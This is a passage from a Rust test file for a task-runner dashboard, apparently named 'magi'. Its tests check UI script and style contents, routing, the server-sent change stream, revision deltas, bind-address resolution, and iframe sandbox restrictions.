19689 assert!(
19690 !field["changed"]
19691 .as_array()
19692 .unwrap()
19693 .iter()
19694 .any(|f| &f["pair"] == id)
19695 );
19696 }
19697 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19698 group["id"].as_u64().unwrap() as usize;
19699 assert!(
19700 QuestionView::of(q, &store, None).posting_view.is_none(),
19701 "group and trigger IDs cannot collide"
19702 );
19703 }
19704
19705 #[test]
19706 fn a_question_view_carries_markdown_for_each_thread_turn() {
19707 let home = TempDir::new().unwrap();
19708 let store = ask::Questions::at(home.path().join("questions"));
19709 let mut q = Question::new(
19710 "run".to_owned(),
19711 "implement".to_owned(),
19712 "impl-A".to_owned(),
19713 "which?".to_owned(),
19714 String::new(),
19715 Vec::new(),
19716 );
19717 q.say("plain words").unwrap();
19718 q.reply("use **this**", Vec::new()).unwrap();
19719 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19720 let bodies = &v["thread_bodies_md"];
19721 assert_eq!(bodies.as_array().unwrap().len(), 2);
19722 assert!(!bodies[0].to_string().contains("strong"));
19723 assert!(bodies[1].to_string().contains("strong"));
19724 }
19725
19726 #[test]
19727 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19728 let home = TempDir::new().unwrap();
19729 let store = ask::Questions::at(home.path().join("questions"));
19730 let mut q = Question::new(
19731 "run".to_owned(),
19732 "conduct".to_owned(),
19733 "conduct".to_owned(),
19734 "which?".to_owned(),
19735 String::new(),
19736 Vec::new(),
19737 );
19738 q.say("plain words").unwrap();
19739 q.thread.push(ask::Turn {
19740 who: ask::Who::Agent,
19741 body: "Settled as `merge`".to_owned(),
19742 at: jiff::Timestamp::now(),
19743 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19744 });
19745 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19746 let notes = &v["thread_notes_md"];
19747 assert_eq!(notes.as_array().unwrap().len(), 2);
19748 assert!(notes[0].is_null());
19749 let text = notes[1].to_string();
19750 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19751 assert!(APP_JS.contains("ask-turn-note"));
19752 }
19753
19754 #[test]
19755 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19756 assert!(APP_JS.contains("function landView(run, raw) {"));
19760 assert!(
19761 APP_JS.contains(
19762 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19763 )
19764 );
19765 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19766 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19767 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19768 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19769 }
19770
19771 #[test]
19772 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19773 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19774 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19775 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19776 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19777 }
19778
19779 #[test]
19780 fn review_rounds_label_a_distinct_verified_head() {
19781 assert!(APP_JS.contains("round.verified_head"));
19782 assert!(APP_JS.contains("verified HEAD"));
19783 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19784 }
19785
19786 #[test]
19787 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19788 assert!(APP_JS.contains("blocked: { glyph:"));
19792 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19793
19794 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19798 assert!(
19799 APP_JS.contains(
19800 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19801 ),
19802 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19803 );
19804 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19808
19809 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19813 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19814 assert!(
19815 APP_JS.contains("location.hash = \"#/questions\";"),
19816 "a question node must jump to the Questions screen, not pretend to be a task"
19817 );
19818
19819 assert!(APP_JS.contains("Resolved questions"));
19822 assert!(APP_JS.contains("r.answersList.append("));
19823 assert!(APP_CSS.contains(".task-answers"));
19824 {
19825 let start = APP_JS
19826 .find("function updateTalkTaskRow")
19827 .expect("updateTalkTaskRow");
19828 let body = &APP_JS[start..];
19829 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19830 assert!(
19831 body.contains(
19832 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19833 ),
19834 "a chat-filed task row must link to the task page"
19835 );
19836 assert!(
19837 !body.contains("#/runs/") && !body.contains("#/queue/"),
19838 "the row must not branch to a run or the queue card"
19839 );
19840 assert!(APP_CSS.contains(".talk-task-link"));
19841 }
19842 }
19843
19844 #[test]
19845 fn a_task_notification_links_to_the_task_page() {
19846 let start = APP_JS
19848 .find("function noticeLink(")
19849 .expect("noticeLink exists");
19850 let body = &APP_JS[start..];
19851 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19852 assert!(
19853 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19854 "a task notice's link must target the task page"
19855 );
19856 assert!(
19857 !body.contains("#/queue/"),
19858 "regression: the task link must not go back to the Backlog route"
19859 );
19860 assert!(
19861 APP_JS.contains(
19862 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19863 ),
19864 "`#/tasks/<id>` must parse into the task route"
19865 );
19866
19867 assert!(
19869 APP_JS.contains(
19870 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19871 ),
19872 "`#/queue/<id>` must parse into a route carrying that id"
19873 );
19874
19875 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19879 assert!(APP_JS.contains("function consumeQueueFocus()"));
19880 assert!(APP_JS.contains("jumpToTask(id)"));
19881 }
19882
19883 #[test]
19884 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19885 let start = APP_JS
19886 .find("function noticeCoveredBy(")
19887 .expect("noticeCoveredBy exists");
19888 let body = &APP_JS[start..];
19889 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19890
19891 assert!(body.contains("Associated question ${short}"));
19893 assert!(!body.contains("el(\"a\""));
19894
19895 assert!(body.contains("(resolved)"));
19897 assert!(body.contains("(closed)"));
19898
19899 let start = APP_JS
19900 .find("function renderNotifications()")
19901 .expect("renderNotifications exists");
19902 let body = &APP_JS[start..];
19903 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19904
19905 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19907 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19908 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19909 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19910 }
19911
19912 #[test]
19915 fn chat_rows_put_the_title_alone_on_the_first_line() {
19916 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19917 assert!(APP_CSS.contains(
19918 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19919 ));
19920 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19921 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19922 }
19923
19924 #[test]
19925 fn run_rows_put_the_title_alone_on_the_first_line() {
19926 assert!(
19927 APP_CSS.contains(
19928 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19929 )
19930 );
19931 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19932 assert!(APP_JS.contains("class: \"card run-card\""));
19933 assert!(APP_JS.contains("class: \"repo run-id\""));
19934 }
19935
19936 #[test]
19940 fn wide_screens_show_list_and_preview_side_by_side() {
19941 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19943 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19944 assert!(APP_CSS.contains("main[data-split]"));
19945 assert!(APP_CSS.contains("body[data-split]"));
19946
19947 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19949 assert!(
19950 APP_JS.contains(
19951 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19952 )
19953 );
19954 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19955 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19956 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19957
19958 assert!(APP_JS.contains("function markSelected() {"));
19960 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19961 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19962 assert!(
19964 APP_CSS.contains(
19965 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19966 )
19967 );
19968
19969 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19971 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19972 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19973 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19974
19975 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19979 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19980 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19981 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19982
19983 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19985 }
19986
19987 #[test]
19988 fn panel_sandbox_carries_exactly_popups() {
19989 let needle = "sandbox: \"";
19990 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19991 assert_eq!(
19992 matches.len(),
19993 1,
19994 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19995 );
19996 let start = matches[0].0 + needle.len();
19997 let end = APP_JS[start..]
19998 .find('"')
19999 .expect("sandbox attribute value must be terminated by a closing quote");
20000 let val = &APP_JS[start..start + end];
20001 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20002 let expected: std::collections::BTreeSet<&str> =
20003 ["allow-popups", "allow-popups-to-escape-sandbox"]
20004 .into_iter()
20005 .collect();
20006 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20007 assert!(
20008 !tokens.contains("allow-scripts"),
20009 "allow-scripts must never be present in sandbox"
20010 );
20011 assert!(
20012 !tokens.contains("allow-same-origin"),
20013 "allow-same-origin must never be present in sandbox"
20014 );
20015 }
20016
20017 #[test]
20018 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20019 assert!(
20028 APP_JS.contains(
20029 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20030 ),
20031 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20032 recursive renderQueue() call has nothing left to jump to"
20033 );
20034 assert!(
20035 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20036 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20037 arrives later still gets it"
20038 );
20039 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20040 assert!(APP_JS.contains("is not in the current Backlog."));
20041 assert!(APP_JS.contains("li.card[data-task-id=\""));
20042 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20043 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20044 assert!(APP_CSS.contains(".card-permalink"));
20045 assert!(APP_CSS.contains(".queue-focus-status"));
20046 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20047 }
20048
20049 #[test]
20050 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20051 assert!(
20059 APP_JS.contains(
20060 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20061 ),
20062 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20063 );
20064 }
20065
20066 #[test]
20067 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20068 assert!(
20069 APP_JS.contains("round.verified_head !== round.head"),
20070 "a round that verified an earlier commit must be visibly distinct from one that \
20071 verified the head reviewers are looking at now"
20072 );
20073 assert!(
20074 APP_JS.contains("round.verified_at"),
20075 "when a check ran must be on the wire, not just which commit"
20076 );
20077 assert!(
20078 APP_JS.contains("resource_blocked"),
20079 "a command magi never got to run (shared build cache contention) must not render \
20080 the same as a command that ran and failed"
20081 );
20082 }
20083
20084 #[test]
20085 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20086 assert!(
20094 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20095 "every KPI tile built through statusTile() must route its click through \
20096 openRunsFiltered, the single place that sets the Runs filter"
20097 );
20098 for (label, status) in [
20099 ("Merged", "merged"),
20100 ("Ready", "ready"),
20101 ("Blocked", "blocked"),
20102 ("Stalled", "stalled"),
20103 ] {
20104 let call = format!("statusTile(\"{label}\", t.{status}, ");
20105 assert!(
20106 APP_JS.contains(&call),
20107 "expected the {label} KPI tile built via {call}..."
20108 );
20109 assert!(
20110 APP_JS.contains(&format!("status === \"{status}\"")),
20111 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20112 compare a run against, not one invented only for the stats tile"
20113 );
20114 }
20115 assert!(
20116 APP_JS.contains("function openRunsFiltered(status)"),
20117 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20118 );
20119 assert!(
20120 APP_JS.contains(
20121 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20122 ),
20123 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20124 );
20125 assert!(
20133 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20134 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20135 hashchange event that may never fire"
20136 );
20137 }
20138
20139 #[test]
20140 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20141 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20147 assert!(
20148 APP_JS.contains(
20149 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20150 ),
20151 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20152 guard for an incompatible tree section"
20153 );
20154 }
20155
20156 #[test]
20157 fn every_stats_queue_tile_names_a_real_queue_section() {
20158 assert!(
20164 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20165 "every queue tile built through sectionTile() must route its click through \
20166 openQueueSectionFocus"
20167 );
20168 for key in ["upnext", "running", "done", "held", "blocked"] {
20169 assert!(
20170 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20171 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20172 );
20173 }
20174 for line in [
20178 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20179 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20180 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20181 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20182 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20183 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20184 ] {
20185 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20186 }
20187 }
20188
20189 #[test]
20190 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20191 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20198 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20199 assert!(APP_JS.contains("function revealQueueSection(details)"));
20200 assert!(
20201 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20202 "renderQueue() must consume both focus channels on every pass"
20203 );
20204 assert!(
20205 APP_JS.contains(
20206 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20207 ),
20208 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20209 the recursive renderQueue() call has nothing left to reveal"
20210 );
20211 assert!(
20212 APP_JS.contains(
20213 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20214 ),
20215 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20216 );
20217 assert!(
20225 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20226 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20227 hashchange event that may never fire"
20228 );
20229 }
20230
20231 #[tokio::test]
20232 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20233 let f = Fixture::start().await;
20234
20235 let mut socket = tokio::net::TcpStream::connect(f.addr)
20236 .await
20237 .expect("connect");
20238 socket
20239 .write_all(
20240 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20241 )
20242 .await
20243 .expect("write request");
20244
20245 let mut seen = String::new();
20248 let mut buf = [0u8; 1024];
20249 while !seen.contains("event: change") {
20250 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20251 .await
20252 .expect("the stream must speak within five seconds")
20253 .expect("read");
20254 assert!(read > 0, "the server closed the change stream: {seen}");
20255 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20256 }
20257
20258 assert!(
20259 seen.to_lowercase()
20260 .contains("content-type: text/event-stream"),
20261 "the browser only reconnects automatically for a real SSE stream: {seen}"
20262 );
20263 let data = seen
20264 .lines()
20265 .find_map(|l| l.strip_prefix("data:"))
20266 .expect("a data line");
20267 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20268 assert!(
20269 payload["queue_rev"].is_u64()
20270 && payload["runs_rev"].is_u64()
20271 && payload["questions_rev"].is_u64()
20272 && payload["talks_rev"].is_u64()
20273 && payload["notifications_rev"].is_u64()
20274 && payload["loop_rev"].is_u64(),
20275 "the client needs one revision per store to know what to refetch, \
20276 and `talks_rev` is the only notification a standing talk gets - a \
20277 phone whose radio slept through a turn learns about it here, as \
20278 does one whose operator started the loop from another device: \
20279 {payload}"
20280 );
20281
20282 let health = f.get("/api/health").await.json();
20289 for key in [
20290 "queue_rev",
20291 "runs_rev",
20292 "questions_rev",
20293 "talks_rev",
20294 "notifications_rev",
20295 "loop_rev",
20296 ] {
20297 assert!(
20298 health[key].is_u64(),
20299 "health is the change stream's fallback and is missing `{key}`: {health}"
20300 );
20301 }
20302 }
20303
20304 #[tokio::test]
20305 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20306 let f = Fixture::start().await;
20307 let before = f.get("/api/health").await.json()["talks_rev"]
20308 .as_u64()
20309 .expect("talks_rev");
20310
20311 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20312 std::thread::sleep(Duration::from_millis(10));
20313 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20314 on_disk.turns.push(crate::talk::Turn {
20315 sender: None,
20316 breaks: Some(Vec::new()),
20317 messages: Vec::new(),
20318 posted_by: None,
20319 who: crate::talk::Who::Operator,
20320 body: "a new turn".to_owned(),
20321 at: Timestamp::now(),
20322 attachments: Vec::new(),
20323 usage: None,
20324 });
20325 f.talks().put(&mut on_disk).expect("record a turn");
20326
20327 let after = tokio::time::timeout(Duration::from_secs(5), async {
20328 loop {
20329 let revision = f.get("/api/health").await.json()["talks_rev"]
20330 .as_u64()
20331 .unwrap();
20332 if revision != before {
20333 break revision;
20334 }
20335 tokio::time::sleep(Duration::from_millis(50)).await;
20336 }
20337 })
20338 .await
20339 .expect("shared monitor observes external turn");
20340 assert_ne!(
20341 before, after,
20342 "a phone must be able to notice a talk's reply without polling every store"
20343 );
20344 }
20345
20346 #[test]
20347 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20348 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20352 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20353 }
20354 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20355 assert!("everywhere".parse::<Bind>().is_err());
20356 }
20357
20358 #[test]
20359 fn an_explicit_bind_address_is_taken_verbatim() {
20360 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20361
20362 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20363
20364 assert_eq!(addr, asked);
20365 assert!(
20366 warning.is_none(),
20367 "an operator who named an address gets no lecture"
20368 );
20369 }
20370
20371 #[test]
20372 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20373 let (addr, warning) = resolve_bind(&Bind::Auto);
20374
20375 match addr {
20382 IpAddr::V4(ip) if is_tailnet(&ip) => {
20383 assert!(warning.is_none(), "a tailnet address needs no warning");
20384 }
20385 other => {
20386 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20387 let warning = warning.expect("a fallback has to explain itself");
20388 assert!(
20389 warning.contains("127.0.0.1") && warning.contains("local-only"),
20390 "the warning says what happened and what it costs: {warning}"
20391 );
20392 }
20393 }
20394 }
20395
20396 #[test]
20397 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20398 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20402 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20403 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20404 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20405 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20406 }
20407
20408 #[test]
20409 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20410 let ids = vec![
20411 "20260902-140501-aaaa".to_owned(),
20412 "20260902-140502-aabb".to_owned(),
20413 ];
20414
20415 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20416 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20417 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20418
20419 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20420 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20421 assert_eq!(short, "20260902-140502-aabb");
20422 }
20423 #[tokio::test]
20424 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20425 let fx = Fixture::start().await;
20431 let id = panel(
20432 &fx,
20433 "<img src=\"shot.png\">",
20434 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20435 );
20436
20437 let doc = fx
20439 .get(&format!("/api/questions/{id}/panel/index.html"))
20440 .await;
20441 assert_eq!(doc.status, 200, "{}", doc.body);
20442 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20443
20444 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20445 assert_eq!(sibling.status, 200, "{}", sibling.body);
20446 assert_eq!(sibling.header("content-type"), Some("image/png"));
20447 assert_eq!(
20448 sibling.header("content-security-policy"),
20449 Some(PANEL_CSP),
20450 "the sibling route must carry the same policy as the asset route"
20451 );
20452
20453 assert_eq!(
20456 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20457 200
20458 );
20459 }
20460
20461 #[test]
20462 fn delta_stamps_cover_add_update_remove_and_noop() {
20463 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20464 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20465 let delta = diff_stamps(&before, &after, 42);
20466 assert_eq!(delta.base, 42);
20467 assert_eq!(delta.changed, ["b", "c"]);
20468 assert_eq!(delta.removed, ["a"]);
20469 let same = diff_stamps(&after, &after, 43);
20470 assert!(same.changed.is_empty() && same.removed.is_empty());
20471 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20472 let nanos: Stamps = [("b".into(), (2, 20))].into();
20473 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20474 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20475 assert_eq!(stamps_revision(&Stamps::new()), 0);
20476 }
20477
20478 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20479 std::fs::create_dir_all(home.join("runs")).unwrap();
20480 Arc::new(Ui::new(
20481 Queue::at(home.join("queue")),
20482 Questions::at(home.join("questions")),
20483 Talks::at(home.join("talks")),
20484 home.join("runs"),
20485 home.to_owned(),
20486 PathBuf::from("/repo/magi"),
20487 ))
20488 }
20489
20490 #[test]
20491 fn monitor_scan_isolates_store_failures_and_recovers() {
20492 let home = TempDir::new().unwrap();
20493 let ui = delta_test_ui(home.path());
20494 std::fs::create_dir_all(ui.questions.root()).unwrap();
20495 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20496 let before = monitor_scan(&ui, None);
20497 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20498 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20499 std::fs::create_dir_all(ui.talks.root()).unwrap();
20500 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20501 let during = monitor_scan(&ui, Some(before.clone()));
20502 assert_eq!(during.0.2, before.0.2);
20503 assert_ne!(during.0.3, before.0.3);
20504 assert!(during.1[2].contains_key("new"));
20505 std::fs::remove_file(ui.questions.root()).unwrap();
20506 let after = monitor_scan(&ui, Some(during));
20507 assert_eq!(after.0.2, 0);
20508 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20509 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20511 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20512 }
20513
20514 #[tokio::test]
20515 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20516 let home = TempDir::new().unwrap();
20517 let ui = delta_test_ui(home.path());
20518 let mut task = Task::new(
20519 "stream task".into(),
20520 "text".into(),
20521 PathBuf::from("/repo"),
20522 Source::Human,
20523 );
20524 ui.queue.put(&mut task).unwrap();
20525 let response = events(State(ui.clone())).await.into_response();
20526 let mut stream = response.into_body().into_data_stream();
20527 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20528 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20529 .await
20530 .unwrap()
20531 .unwrap()
20532 .unwrap();
20533 let text = String::from_utf8(chunk.to_vec()).unwrap();
20534 let data = text
20535 .lines()
20536 .find_map(|line| {
20537 line.strip_prefix("data: ")
20538 .or_else(|| line.strip_prefix("data:"))
20539 })
20540 .unwrap();
20541 serde_json::from_str(data).unwrap()
20542 }
20543 let initial = change(&mut stream).await;
20544 assert!(initial.get("queue_delta").is_none());
20545 task.instruction.push_str(" changed");
20546 ui.queue.put(&mut task).unwrap();
20547 let updated = change(&mut stream).await;
20548 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20549 assert_eq!(
20550 updated["queue_delta"]["changed"],
20551 serde_json::json!([task.id])
20552 );
20553 assert_eq!(
20554 updated["queue_rev"].as_u64(),
20555 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20556 );
20557 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20558 let removed = change(&mut stream).await;
20559 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20560 assert_eq!(
20561 removed["queue_delta"]["removed"],
20562 serde_json::json!([task.id])
20563 );
20564 }
20565
20566 #[tokio::test]
20567 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20568 let home = TempDir::new().unwrap();
20569 let ui = delta_test_ui(home.path());
20570 let queue = ui.queue.clone();
20571 let query = |ids: Option<&str>| {
20572 Query(ListQuery {
20573 limit: Some(2),
20574 ids: ids.map(str::to_owned),
20575 })
20576 };
20577 let mut root = Task::new(
20578 "root".into(),
20579 "instruction".into(),
20580 PathBuf::from("/repo"),
20581 Source::Human,
20582 );
20583 queue.put(&mut root).unwrap();
20584 let mut blocked = Task::new(
20585 "blocked".into(),
20586 "instruction".into(),
20587 PathBuf::from("/repo"),
20588 Source::Human,
20589 );
20590 blocked.block(vec![root.id.clone()], None);
20591 queue.put(&mut blocked).unwrap();
20592 let whole =
20593 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20594 .unwrap();
20595 let subset = serde_json::to_value(
20596 queue_list(State(ui.clone()), query(Some(&root.id)))
20597 .await
20598 .unwrap()
20599 .0,
20600 )
20601 .unwrap();
20602 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20603 let blockers = serde_json::to_value(
20604 queue_list(State(ui.clone()), query(Some("")))
20605 .await
20606 .unwrap()
20607 .0,
20608 )
20609 .unwrap();
20610 assert_eq!(blockers.as_array().unwrap().len(), 1);
20611 assert_eq!(blockers[0]["id"], blocked.id);
20612 assert_eq!(
20613 blockers[0]["waits_on"],
20614 whole
20615 .as_array()
20616 .unwrap()
20617 .iter()
20618 .find(|row| row["id"] == blocked.id)
20619 .unwrap()["waits_on"]
20620 );
20621
20622 for id in [
20623 "20260902-140501-aaaa",
20624 "20260902-140502-bbbb",
20625 "20260902-140503-cccc",
20626 ] {
20627 write_run(&ui.runs, id, RunStatus::Merged);
20628 }
20629 let old = serde_json::to_value(
20630 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20631 .await
